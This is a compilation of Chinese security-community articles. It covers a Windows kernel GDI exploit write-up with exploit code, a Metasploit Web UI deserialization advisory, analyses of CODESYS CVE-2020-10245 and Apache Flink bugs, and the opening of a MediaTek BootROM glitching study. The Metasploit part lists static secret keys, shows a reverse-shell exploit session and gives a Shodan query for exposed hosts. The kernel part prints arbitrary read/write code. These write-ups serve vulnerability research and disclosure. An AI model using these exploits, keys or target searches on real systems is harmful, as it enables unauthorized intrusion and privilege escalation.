win32kbase!NSInstrumentation::CTypeIsolation<163840,640>::AllocateType+0x47:
ffffd7d8`95bd9847 488b1e mov rbx,qword ptr [rsi] ds:002b:00000000`001e0000=????????????????
经过多次跟踪后我发现，BSOD产生的原因主要是我们通过VirtualAllocEx时申请的fake
struct位于我们当前进程的进程空间，这个空间不被其他进程共享，也就是说，如果我们通过漏洞修改了view域和CSectionBitmapAllocator的指针之后，当其他进程申请GDI
object时，同样会遍历CSecitionEntry，当遍历到我们通过漏洞修改的CSectionEntry时，会因为指向进程地址空间无效，产生BSoD，所以这里当触发漏洞之后我做了第一次fix。
DWORD64 fix_bitmapbits1 = 0xffffffffffffffff;
DWORD64 fix_bitmapbits2 = 0xffffffffffff;
DWORD64 fix_number = 0x2800000000;
CopyMemory((void *)(fakertl_bitmap + 0x10), &fix_bitmapbits1, 0x8);
CopyMemory((void *)(fakertl_bitmap + 0x18), &fix_bitmapbits1, 0x8);
CopyMemory((void *)(fakertl_bitmap + 0x20), &fix_bitmapbits1, 0x8);
CopyMemory((void *)(fakertl_bitmap + 0x28), &fix_bitmapbits2, 0x8);
CopyMemory((void *)(fakeallocator + 0x20), &fix_number, 0x8);
在第一个fix中，我修改了bitmap_hint_index和rtl_bitmap，欺骗typeisolation在遍历CSectionEntry的时候认为fake
CSectionEntry的view域目前已被占满，就会直接跳过这个CSectionEntry。
我们知道当前的CSectionEntry已经被我们修改，因此即使我们结束了exploit退出进程后CSectionEntry仍然会作为CTypeIsolation双向链表的一部分，而我们进程退出时，VirtualAllocEx申请的当前进程用户空间会被释放掉，这就会引发很多未知的错误，而我们已经通过漏洞拥有了任意地址读写的能力，于是我进行了第二次fix。
ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress + 0x8, (BYTE *)&CSectionPrevious, sizeof(DWORD64));
ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress, (BYTE *)&CSectionNext, sizeof(DWORD64));
LogMessage(L_INFO, L"Current CSectionEntry->previous: 0x%p", CSectionPrevious);
LogMessage(L_INFO, L"Current CSectionEntry->next: 0x%p", CSectionNext);
ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionNext + 0x8, (BYTE *)&CSectionPrevious, sizeof(DWORD64));
ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionPrevious, (BYTE *)&CSectionNext, sizeof(DWORD64));
第二次fix中，我获取了CSectionEntry->previous和CSectionEntry->next，将当前CSectionEntry脱链(unlink)，这样在GDI
object分配遍历CSectionEntry时，就不会再对fake CSectionEntry处理。
当完成这两个fix之后，就可以成功利用GDI data-only attack完成任意地址读写了，这里我直接获取到了最新版Windows10
rs3的SYSTEM权限，但是在进程完全退出的时候却再一次引发了BSoD。经过分析发现，这个BSoD是由于进行了unlink之后，由于GDI的句柄保存在GDI
handle table中，这时会去CSectionEntry中找到对应内核对象并free掉，而我们存放bitmap kernel
object的CSectionEntry已经被unlink，引发了BSoD的发生。
问题发生在NtGdiCloseProcess中，该函数负责释放当前进程的GDI object，跟SURFACE相关的调用链如下
0e ffff858c`8ef77300 ffff842e`52a57244 win32kbase!SURFACE::bDeleteSurface+0x7ef
0f ffff858c`8ef774d0 ffff842e`52a1303f win32kbase!SURFREF::bDeleteSurface+0x14
10 ffff858c`8ef77500 ffff842e`52a0cbef win32kbase!vCleanupSurfaces+0x87
11 ffff858c`8ef77530 ffff842e`52a0c804 win32kbase!NtGdiCloseProcess+0x11f
bDeleteSurface负责释放Gdi handle table中的SURFACE内核对象，我们需要在GDI handle
table中找到存放在fake
view中的HBITMAP，并且将其置0，这样就会在bDeleteSurface中不进行后续的free处理，直接跳过再调用HmgNextOwned释放下一个GDI
object。关于查找HBITMAP在GDI handle table中的位置的关键代码在HmgSharedLockCheck中，其关键代码如下：
v4 = *(_QWORD *)(*(_QWORD *)(**(_QWORD **)(v10 + 24) + 8 * ((unsigned __int64)(unsigned int)v6 >> 8)) + 16i64 * (unsigned __int8)v6 + 8);
这里我还原了一个完整的查找bitmap对象的计算方法：
*(*(*(*(*win32kbase!gpHandleManager+10)+8)+18)+(hbitmap&0xffff>>8)*8)+hbitmap&0xff*2*8
值得一提的是这里需要泄露win32kbase.sys的基址，在Low IL的情况下需要漏洞来leak info，我是通过在Medium
IL下用NtQuerySystemInformation泄露win32kbase.sys基址从而计算出gpHandleManager的地址，之后找到fake
view中bitmap在Gdi handle table中的对象位置，并置0，最后完成了full exploit。
现在内核利用越来越难，一个漏洞往往需要其他漏洞的支持，比如info leak。而相比越界写，uaf，double free和write-what-where这几种漏洞，pool
overflow在使用这种方案利用上更为复杂，因为涉及到CSectionEntry->previous和CSectionEntry->next的问题，但并不是不可能在pool
overflow中使用这种方法。
作者水平有限，如果有问题欢迎交流讨论，谢谢！
## 五、参考
<https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives>
<https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/5A1F/DEFCON-25-5A1F-Demystifying-Kernel-Exploitation-By-Abusing-GDI-Objects.pdf>
<https://blog.quarkslab.com/reverse-engineering-the-win32k-type-isolation-mitigation.html>
<https://github.com/sam-b/windows_kernel_address_leaks> | 社区文章 |
# 【漏洞预警】Metasploit 反序列化漏洞，可远程非授权执行代码（含exp，9/21 06点更新）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://github.com/justinsteven/advisories/blob/master/2016_metasploit_rce_static_key_deserialization.md>
译文仅供参考，具体内容表达以及含义原文为准。
在本周Rapid7发布的4.12.0-2016091401补丁[0]描述中我们可以看到有2个漏洞，结合这2个漏洞远程攻击者可以非认证的在metasploit产品上执行任意代码，随后有研究人员也放出了POC攻击代码[1]
**PS:补丁、POC见文章最后参考文档**
漏洞1:Metasploit Web UI's config.action_dispatch.cookies_serializer 设置为 :hybrid
OVE ID: OVE-20160904-0001
私有披露日期: 2016-09-04
公开披露日期: 2016-09-19
厂商公告 :
https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401
影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001
Rails应用会接受一个标记的cookies来处理会话，在Rails
4.1的以前版本中，使用Marshal进行序列化，允许实例化任意对象的反序列化。Rails 4.1引入JSON
cookie序列化机制，默认不允许任意对象实例化，这种配置要安全的多。Rails 4.1也引入了’hybrid'
cookie序列化，这将允许反序列化JSON和Marshal序列化的cookies,当cookie序列化设置为Marshal或hybird时，远程攻击者如果知道cookie
signing key的值，就能够构造会话cookie,触发Marshal反序列化，实现任意代码执行。
Metasploit Community, Express 和 Pro 版本的 Web UI在 Metasploit
4.12.0-2016091401之前的config.action_dispatch.cookies_serializer 值设置为
:hybrid,直到Metasploit 4.12.0-2016091401，才将其值设置为:json,因此用户需要更新到Metasploit
4.12.0-2016091401或更新版本才能有效防护此漏洞
参考：
[0] <http://blog.bigbinary.com/2014/12/23/migrating-existing-session-cookies-while-upgrading-to-rails-4-1-and-above.html>
[1]
<https://www.rapid7.com/db/modules/exploit/multi/http/rails_secret_deserialization>
漏洞2:Metasploit Weekly Release Static secret_key_base pre-auth RCE
OVE ID: OVE-20160904-0002
私有披露日期: 2016-09-04
公开披露日期: 2016-09-19
厂商公告
:https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401
影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001
Metasploit Community, Express 和 Pro版本，WEB UI的secret_key_base值是固定已知的，
而且Metasploit的config.action_dispatch.cookies_serializer的值默认又为:hybrid，这导致攻击者可以远程非认证的构造cookies，实现反序列化任意Marshall对象，以daemon用户权限在装有Metasploit的机器上执行任意命令。
已知的secret_key_base值如下：
4.12.0-2016061501,d25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7
4.12.0-2016062101,99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc
4.12.0-2016072501,446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde
4.12.0-2016081001,61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a
4.12.0-2016081201,23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32
4.12.0-2016083001,18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615
unreleased build,b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c
攻击Metasploit本身的模块已经有安全研究人员开发出来了，路径为
exploit/multi/http/metasploit_static_secret_key_base
使用方法如下：
msf exploit(metasploit_static_secret_key_base) > info
Name: Metasploit Web UI Static secret_key_base Value
Module: exploit/multi/http/metasploit_static_secret_key_base
Platform: Ruby
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-09-15
Provided by:
Justin Steven
joernchen of Phenoelit <[email protected]>
Available targets:
Id Name
-- ---- 0 Metasploit 4.12.0-2016061501 to 4.12.0-2016083001
Basic options:
Name Current Setting Required Description
---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 3790 yes The target port
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The path to the Metasploit Web UI
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits the Web UI for Metasploit Community, Express
and Pro where one of a certain set of Weekly Releases have been
applied. These Weekly Releases introduced a static secret_key_base
value. Knowledge of the static secret_key_base value allows for
deserialization of a crafted Ruby Object, achieving code execution.
This module is based on
exploits/multi/http/rails_secret_deserialization
References:
OVE (20160904-0002)
https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401
msf exploit(metasploit_static_secret_key_base) > set RHOST 172.18.0.2
RHOST => 172.18.0.2
msf exploit(metasploit_static_secret_key_base) > set PAYLOAD ruby/shell_reverse_tcp
PAYLOAD => ruby/shell_reverse_tcp
msf exploit(metasploit_static_secret_key_base) > set LHOST 172.18.0.1
LHOST => 172.18.0.1
msf exploit(metasploit_static_secret_key_base) > set LPORT 4444
LPORT => 4444
msf exploit(metasploit_static_secret_key_base) > exploit
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Checking for cookie _ui_session
[*] Searching for proper SECRET
[*] Sending cookie _ui_session
[*] Command shell session 1 opened (172.18.0.1:4444 -> 172.18.0.2:47590) at 2016-09-19 19:26:30 +1000
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
exit
^C
Abort session 1? [y/N] y
[*] 172.18.0.2 - Command shell session 1 closed. Reason: User exit
Rapid7 在 etasploit
4.12.0-2016091401版本中修复了这个问题，将会检测secret_key_base的值是否是默认值，如果是，将重新生成，因此用户要尽快升级到Metasploit
4.12.0-2016091401或以上版本
参考：
[0] <https://github.com/rapid7/metasploit-framework/pull/7304>
[1] <https://github.com/rapid7/metasploit-framework/pull/7341>
**更新：**
****
通过shodan的
title:"metasploit is initializing"
关键字来寻找对互联网开放的metasploit,（2016/9/21 9点更新） | 社区文章 |
**作 者：安天**
**公众号：[关键基础设施安全应急响应中心](http://mp.weixin.qq.com/s/GtrwPL7V5SRviJAn4bBtXA
"关键基础设施安全应急响应中心")**
### 概述
2020年3月25日CODESYS发布CODESYS
V3未经身份验证的远程堆溢出漏洞，攻击者利用精心设计的请求可能会导致基于堆的缓冲区溢出。CODESYS软件工具包是一款基于先进的.NET架构和IEC
61131-3国际编程标准的面向工业4.0及物联网应用的软件开发平台。CODESYS软件平台可实现逻辑控制（PLC）、运动控制（Motion
Control）及CNC控制、人机界面（HMI）、基于Web
Service的网络可视化编程和远程监控、冗余控制(Redundancy)和安全控制（Safety）、项目开发与工程协同管理等多个目标和需求。
安天针对CODESYS的CVE-2020-10245漏洞进行了分析和复现，该漏洞存在于`CmpWebServerHandlerV3.dll`（文件版本3.5.15.20）库中，源于该dll库未能正确验证由用户提交的发往Web
Server URL端点的数据。此漏洞会造成Web 服务器崩溃、拒绝服务或者可能被用于远程代码执行。对此，安天研究人员分析了该漏洞原理并给出相应的防护建议。
### 漏洞情况
该漏洞允许未经身份验证的远程攻击者破坏服务器或远程代码执行。存在漏洞的服务器用于在Web浏览器中显示CODESYS系统可视化屏幕。该漏洞基于堆的缓冲区溢出，是由于名为`CmpWebServerHandlerV3.dll`的Web服务器库无法正确验证发送到Web服务器URL端点的用户数据而导致。攻击者可以通过发送给`CmpWebServerHandlerV3`组件的`WEB_CLIENT_OPENCONNECTION`消息请求非常大的内存分配，来利用这个漏洞，最终导致Web服务器崩溃、拒绝服务或远程执行代码。该漏洞严重程度评分如下表所示：
#### 2.1披露时间
2019年12月02日：发现漏洞
2019年12月11日：CODESYS承认漏洞。
2019年12月11日：CODESYS预计在90天后进行解释。
2020年01月28日：供应商通知他们计划在3月中旬发布补丁。
2020年03月18日：CODESYS通知，由于COVID-19，他们需要将其补丁和咨询推迟几天，计划在三月中旬发布版本3.5.15.40。
2020年03月25日：CODESYS已发布公告和漏洞修复。
#### 2.2 漏洞影响版本
在用于工程控制系统的自动化软件CODESYS的Web服务器中存在一个严重漏洞，此漏洞存在V3.5.15.40之前的所有版本中，所有包含Web服务器(CmpWebServer和CmpWebServerHandler)的CODESYS
V3系统运行中都会受到影响，主要包括 ：
* CODESYS Control for BeagleBone
* CODESYS Control for emPC-A/iMX6
* CODESYS Control for IOT2000
* CODESYS Control for Linux
* CODESYS Control for PLCnext
* CODESYS Control for PFC100
* CODESYS Control for PFC200
* CODESYS Control for Raspberry Pi
* CODESYS Control RTE V3
* CODESYS Control RTE V3 (for Beckhoff CX)
* CODESYS Control Win V3 (also part of the CODESYS Development System setup)
* CODESYS HMI V3
* CODESYS Control V3 Runtime System Toolkit
* CODESYS V3 Embedded Target Visu Toolkit
* CODESYS V3 Remote Target Visu Toolkit
#### 2.3 漏洞影响范围
CODESYS是一款工业自动化领域的一款开发编程系统，应用领域涉及工厂自动化、汽车自动化、嵌入式自动化、过程自动化和楼宇自动化等。CODESYS软件可以分为两个部分，一部分是运行在各类硬件中的RTE（Runtime
Environment），另一部分是运行在PC机上的IDE。因此CODESYS的用户既包括生产PLC、运动控制器的硬件厂商，也包括最终使用PLC、运动控制器的用户。
目前全球有近400家的控制系统生产制造商是CODESYS的用户：如ABB、施耐德电气SchneiderElectric、伊顿电气EATON、博世力士乐Rexroth、倍福BECKHOFF、科控KEBA、日立HITACHI、三菱自动化MITSUBISHI、欧姆龙OMRON、研华科技、凌华科技ADLINK、和利时集团、SUPCON中控集团、步科自动化KINCO等等。
### 漏洞原理及复现过程
#### 3.1 漏洞原理
攻击者可借助特制的请求，利用该漏洞造成基于堆的缓冲区溢出，攻击者通过与服务端建立连接，并请求分配内存，服务器响应攻击者并分配内存，攻击者发送特殊消息使服务端缓冲区溢出，导致Web
Server发生崩溃。如下图所示：
该漏洞存在于`CmpWebServerHandlerV3.dll`（文件版本3.5.15.20）库中，源于该dll库未能正确的验证由用户提交的发往Web
Server
URL端点的数据。当`CmpWebServerHandlerV3`组件状态为“0”时，攻击者可通过向`CmpWebServerHandlerV3`组件发送一条`WEB_CLIENT_OPENCONNECTION`消息，请求分配大小为`0xffffffff`的缓冲区，在缓冲区分配操作过程中`SysMemGetCurrentHeapSize`函数被`SysMemAllocData`函数调用向所请求的缓冲区分配大小添加了0x5c字节，缓冲区分配大小会溢出，即实际上分配了一块小的堆缓冲区`0xffffffff+
0x5c = 0x5b`。攻击者通过发送一条精心构造的`WEB_CLIENT_RUN_SERVICE`消息以溢出小型通信缓冲区，造成缓冲区溢出，进而使Web
Server崩溃。
#### 3.2 复现过程
攻击者通过与服务端建立连接，并请求分配内存，服务器响应攻击者并分配内存，攻击者发送特殊消息使服务端缓冲区溢出，导致Web
服务器发生崩溃。基于以上漏洞原理，搭建复现环境，通过POC脚本对漏洞进行复现。
复现环境采用CODESYS
V3.5.15.20（32位）版本，Windows10家庭版，8G内存，搭建服务端环境。服务端复现环境搭建成功后，结合漏洞原理及POC程序针对该漏洞进行了复现。
该POC是由Python语言实现，在执行过程中需要配置目标地址（Web Server服务器地址）和目标端口号（默认为8080）。查看正常状态下Web
Server服务及Web访问状态。Web Server服务状态如下图所示：
被用来测试的Web访问页面，可正常访问，如下图所示：
运行POC前重启CODESYS服务，使CmpWebServerHandlerV3组件处于状态“0”。运行POC脚本，连接服务端并请求分配内存。POC脚本部分代码如下图所示：
POC运行后，查看Web Server及Web访问状态，Web Server服务已经停止，如下图所示：
被用来测试的Web页面不能正常访问，重新启动服务后，页面访问恢复正常。不能正常访问时状态如下图所示：
针对CODESYS
V3.5.15.20（64位）版本，采用Windows7（64位）系统，8G内存，搭建服务端环境。客户端运行POC后，服务端内存被占满，随着时间推迟内存被慢慢释放，Web服务没有停止，但Web页面不能访问，造成拒绝服务攻击。内存如图所示：
被用来测试的Web页面不能正常访问，服务重启后，Web页面才可正常访问。Web页面不能正常访问如下图所示：
Web Server服务重启后，Web页面可正常访问，访问状态如下图所示：
### 漏洞危害及防护建议
#### 4.1 漏洞危害
本次复现漏洞可能导致Web服务器崩溃、拒绝服务，或者可能被用于远程代码执行。下面对有可能造成的危害进行详细说明：
1. Web服务崩溃：CODESYS Web Server在工业控制系统场景中可用来作为Web SCADA服务器，Web SCADA服务器崩溃可导致与控制器通信中断，不能接收来自控制器返回的数据信息，不能对控制器参数进行修改。可能使工业控制系统发生异常，导致企业停工停产，造成安全威胁或经济损失。
2. 远程代码执行：攻击者利用该缓冲区溢出漏洞可能导致工业控制系统数据泄露，如软件版本，系统信息、工艺参数等关键数据，为进一步攻击工业控制系统做信息收集准备；也可通过shell脚本获取工业控制系统操作权限，对工业控制系统正常运行带来影响。
#### 4.2 防护建议
根据该漏洞的原理及官网针对该漏洞的修复情况，给出以下建议:
1. 建议将CODESYS软件升级到V3.5.15.40，官方在V3.5.15.40版本中修复此漏洞。
2. 对运行CODESYS Control Service的主机配置防火墙限制IP访问，仅允许指定IP访问，禁止外部IP访问，并进行相应的访问日志审计，防止系统信息泄露。
3. 禁止工业控制网络在无防护设备情况下与互联网连接，如必须连接互联网可采取安装工业防护设备（防火墙、网闸等）来限制攻击者的入侵。
4. 增加工业网络流量检测和监测设备，对Web管理平台异常流量进行阻断、报警、及时发现，防止工业系统敏感信息泄露。
### 参考链接
1. <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10245>
2. <https://zh-cn.tenable.com/security/research/tra-2020-16>
3. <https://nvd.nist.gov/vuln/detail/CVE-2020-10245>
4. [https://customers.codesys.com/index.phpeID=dumpFile&t=f&f=13078&token=de344ca65252463cc581ef144e0c53bd97b8f211&download=](https://customers.codesys.com/index.phpeID=dumpFile&t=f&f=13078&token=de344ca65252463cc581ef144e0c53bd97b8f211&download=)
* * * | 社区文章 |
# Apache Flink 多个漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 空间测绘
## 一、简介
Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎，Flink提供了诸多更高抽象层的API以便用户编写分布式任务：DataSet
API，
对静态数据进行批处理操作，将静态数据抽象成分布式的数据集，用户可以方便地使用Flink提供的各种操作符对分布式数据集进行处理，支持Java、Scala和Python。
Flink是一个纯流式计算引擎，而类似于Spark这种微批的引擎，只是Flink流式引擎的一个特例。
## 二、简单分析
### 1\. 任意读
org.apache.flink.runtime.rest.handler.router.RouterHandler#channelRead0 部分代码如下
进入箭头所指
org.apache.flink.runtime.rest.handler.router.Router#route(org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpMethod,
java.lang.String,
java.util.Map<java.lang.String,java.util.List<java.lang.String>>)，函数部分代码如下
如上，红框部分会将 path 利用 / 切割成 tokens，注意这里 tokens 是经过了两次 decode
的（在path被切割成tokens时进行第二次decode），而 path 只经过一次 decode，后续会利用 path 进行路由匹配，由于进行了两次
url 编码，所以路由可以正常匹配到
org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler，否则将匹配到
org.apache.flink.runtime.rest.handler.legacy.files.StaticFileServerHandler
虽然 StaticFileServerHandler 也能读文件，但是会有跨文件读的 check
最后查看
org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile
代码如下
如上图，filename 是直接从 tokens 中取出，直接拼接到 logDir 父目录下，由于 token 经过 2 次 url
解码，所以能够正常获取到 ../../ ，从而进行跨目录读
### 2\. 任意写
触发点在 org.apache.flink.runtime.rest.FileUploadHandler#channelRead0 ，部分函数如下
如上图，fileUpload 是用户可控的内容，则 filename 也是可控的，所以可以修改 filename 进行跨目录写操作
### 3\. 反序列化
触发点在 org.apache.flink.runtime.rest.handler.job.JobSubmitHandler#loadJobGraph：
如上，当以 post 方式访问到 /v1/jobs 时，会路由到此，简单查看逻辑发现会将我们上传到文件内容进行反序列化操作
## 三、鸡肋的反序列化
### **背景：**
已知 apache flink 没有后端模板渲染的功能，前端的模板是通过 nodejs
静态编译得到，如果想要以任意文件写入的方式去修改模板文件，需要重新编译并且重启服务器才能 RCE。flink 中虽然有 plugins
功能，但是不支持热拔插，plugins 中的 jar 包只会在服务启动时被加载一次。最后还有一个功能就是上传 jar
包并且动态执行，但是这是系统的正常功能，不在恶意利用考虑范围内
任意文件写：在 flink 中不能直接 RCE，大都需要重启服务
反序列化：flink 自身依赖非常少，公开已知的 gadgets 全部失效
### **破局：**
从 反序列化入手，重新挖掘针对 flink 的 gadgets，发现 flink 中存在自己实现的反序列化逻辑，并且可以通过 readObject 函数从
jdk 原生反序列化跳到它自实现的反序列化逻辑中，见
org.apache.flink.api.common.state.StateDescriptor#readObject 函数：
如上图，会有一个 deserialize 函数的调用，查看了一下实现类，非常多
其中找到个类：PojoSerializer，其 deserialize 函数部分如下：
如上图，经过仔细分析其功能逻辑，发现是通过反射直接进行属性值填充，所以无法再跳到 getter/setter
调用逻辑中，但是发现上图红框部分，存在类加载调用，且第二参数为 true （会执行类初始化，调用 static 代码块）
于是转变思路，先上传恶意 class 文件，然后触发 jdk 反序列化，最后利用它自实现的反序列化功能，加载恶意 class 文件
首先需要去验证，系统启动时 classpath 是否存在目录（非 jar 文件路径），启动 classpath 参数如下
如上图，能够看出是直接加载了所有的 /lib 目录下的 jar 文件，但是后面存在 三个 : ，猜测可能会将程序启动目录作为 classpath
动态调试如下：
如上图，证明猜测正确，系统自动将程序启动目录（根目录）作为了一个类加载路径。
所以可以将恶意 class 写入 flink-1.11.2/ 目录，然后经过反序列化去加载 class ，从而进行 RCE
## 四、总结
任意读过程中的两次 urldecode 比较有意思，第一次decode产生 path，path 再次decode并切割产生tokens，path
会被当作路由进行匹配，而tokens会被当作最终的函数参数。
反序列化更是鸡肋，但是从上文中也能发现，虽然现在通用反序列化gadgets越来越不好用，但是由于程序自身需要，还是会涉及到很多反序列化场景，所以针对性的gadgets挖掘很有必要，在漏洞挖掘的时候应该让思路更活跃一些，就会发现更多有意思的东西
flink 本身是没有鉴权的，并且它本身支持任意jar包上传并执行，所以需要严格控制其网络访问权限，目前任意文件读写都已经在最新版修复 | 社区文章 |
# SoC漏洞挖掘技术之MediaTek BootROM篇
|
##### 译文声明
本文是翻译文章，文章原作者 Jeremy Boone，文章来源：research.nccgroup.com
原文地址：<https://research.nccgroup.com/2020/10/15/theres-a-hole-in-your-soc-glitching-the-mediatek-bootrom/>
译文仅供参考，具体内容表达以及含义原文为准。
在本文中，我们将为读者介绍针对片上系统SoC的电压毛刺漏洞的利用与防御技术。
这项研究是由我们的实习生Ilya Zhuravlev完成的，她已经回到学校，但毕业后将重新回归我们的安全团队；同时，在该研究的进行过程中，NCC
Group的Hardware & Embedded Systems Practice部门的同事Jeremy Boone提供了许多宝贵的建议。
随着经济实惠的工具链（如ChipWhisperer）的出现，故障注入已不再是只有资金充足、技能高超的攻击者才能实施的一种攻击手段。同时，由于现代设备比以往嵌入了更多的机密信息，因此，当前它们需要更加细致全面的保护。当然，这些机密信息不仅包括加密的用户数据，也包括专有的供应商机密数据。
电压毛刺是一种故障注入攻击，它可以通过改变目标设备的电源电压，从而导致设备执行非预期的行为。通常情况下，这需要将处理器内核电压轨对地短暂短路，以便破坏处理器的内部执行状态。虽然电压毛刺攻击的副作用难以准确预测，但通过观察系统的行为，并仔细调整毛刺参数，还是能够达到令系统跳过某些指令的执行或破坏数据的提取操作的目的的。通常情况下，这些类型的故障可以使攻击者绕过由低层软件执行的关键安全操作，例如，当引导加载程序在将执行控制权传递给后续固件映像之前对其进行签名验证时，如果发动这种攻击，攻击者就有机会绕过签名验证操作。
过去，大多数故障注入方面的研究都集中在低功耗微控制器上，例如最近对STM32系列MCU、NXP
LPC和ESP32的攻击方法。鉴于这些类型的微控制器很少出现在功能更强大的手机或物联网设备中，因此，我们在本文中将试图证明，当这种攻击应用于更复杂的处理器时，攻击者仍然能够得手。
在本文中，我们不仅为读者详细介绍如何探索MediaTek MT8163V片上系统（64位ARM
Cortex-A）的引导过程，同时，还会演示如何设计一种能够可靠地对SoC发动故障注入攻击的设备。最终，我们的研究结果表明，MediaTek
BootROM容易受到电压毛刺的影响，使得攻击者可以利用这种攻击方法绕过预加载器的签名验证。这样的话，攻击者就可以绕过所有的安全引导功能，执行未签名的预加载器映像，从而彻底破坏硬件信任根。
当然，我们的工作主要集中在MT8163V芯片组上，并且没有测试该攻击针对最新的SoC变体的有效性。然而，我们知道，对于许多MediaTek
SoC来说，从BootROM到preloader执行流程都是一样的。因此，我们怀疑（目前尚未测试）该漏洞会影响MediaTek公司目前在市场上流通的其他型号的SoC。鉴于该平台的流行程度，这个漏洞可能影响到使用MediaTek芯片的各种嵌入式设备，包括平板电脑、智能手机、家庭网络产品、物联网设备等。
由于该漏洞位于掩模只读存储器（mask
ROM）中，因此，根本无法为所有已经发售的产品修复该漏洞。然而，这个安全问题的严重性在很大程度上取决于产品的威胁模型。由于电压毛刺攻击需要对目标设备进行物理访问，所以，在假设允许进行物理访问的威胁模型中，例如对于经常丢失或被盗的移动设备，该漏洞的风险最高；相反，对于攻击者无法物理访问的产品，则该漏洞带来的威胁程度相对较低。
## 选择硬件目标
我们选择了一款使用MediaTek
MT8163V片上系统的流行平板设备作为研究对象。当然，我们在目标的选择方面，主要考虑其价格、广泛的可用性以及PCB裸露面积和带有标签的测试点，以力图简化电路板的逆向过程，并让电路板的探测和干扰变得更加轻松。
## MediaTek片上系统的引导过程
许多MediaTek的移动和平板SoC都遵循一个通用的引导过程，具体如下图所示。我们的故障注入攻击是针对BootROM设计的，因为它会加载和验证预加载器的可执行文件。
BootROM是引导过程中不可改变的第一阶段，并充当SoC的硬件信任根。与典型的情况一样，这些SoC都包含一个efuse
bank，可以在OEM设备制造过程中对其进行配置，以实现安全启动并指定预加载器签名证书的哈希值。在启动过程中，BootROM将读取这些fuse，以确定配置的安全引导策略。接下来，BootROM将把预加载器从eMMC加载到RAM中，并在执行前验证其签名。
MediaTek的预加载器是引导过程中的第二个阶段，也是第一段可变代码。预加载器被存储在BOOT0
eMMC分区上。如eMMC规范的第7.2节所述，引导分区是一些特殊的硬件分区，与主用户数据分区相互独立。
## 引导过程分析
MediaTek
SoC在BOOT0中存储了两个预加载器的副本。如果第一个映像损坏（即没有通过签名验证检查），那么BootROM将加载第二个映像。如果两个副本都损坏了，那么BootROM将进入下载模式，这一点可以通过UART发送的字符串“[DL]
00009C40 00000000 010701”看出来。
为了将预加载器从闪存加载到RAM中，将使用eMMC的引导模式功能。不过，BootROM不会发送单独的READ命令，而是将eMMC重置为“alternative
boot mode”。这是通过发送两条GO_IDLE_STATE(CMD0)命令来实现的：首先，会发送参数为0xF0F0F0F0的命令，使其进入“pre-idle”状态；然后，发送参数为0xFFFFFFFA的命令，使其进入引导状态。
在接收到第二条命令后，eMMC便开始以1位模式通过DAT0线传输BOOT0分区的内容。接收整个分区的内容大约需要100ms。
##
